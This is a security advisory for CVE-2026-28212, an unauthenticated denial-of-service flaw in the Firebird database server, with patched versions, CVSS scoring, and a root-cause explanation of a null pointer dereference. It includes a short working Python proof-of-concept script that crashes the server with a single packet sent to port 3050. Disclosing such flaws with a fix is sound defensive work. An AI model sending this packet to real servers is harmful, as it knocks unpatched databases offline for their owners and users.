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One packet DoS

High
dyemanov published GHSA-9884-9qm3-hqch Apr 17, 2026

Package

Any firebird version before the fix

Affected versions

Any firebird version before the fix

Patched versions

6.0, 5.0.4, 4.0.7, 3.0.14

Description

Details

When processing an op_slice packet, the network protocol calls the xdr_slice() function with an unprepared slice_response->p_slr_sdl, which contains a null pointer. Inside xdr_slice() it is passed to SDL_info(), and then the null pointer is dereferenced, which causes the server to crash.

PoC

  1. create a small network packet with 3 fields opcode(60), f1(0), f2(>0);
  2. next, it is enough to simply send such packet to the server port using a python script:
from pwn import *

opcode = 60
f1 = 0
f2 = 1
pkt = struct.pack(">III", opcode, f1, f2)

p = remote('localhost', 3050)
p.send(pkt)
p.close()

Impact

Due to an emergency shutdown with a SIGSEGV error, server availability is disrupted.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-28212

Weaknesses

No CWEs

Credits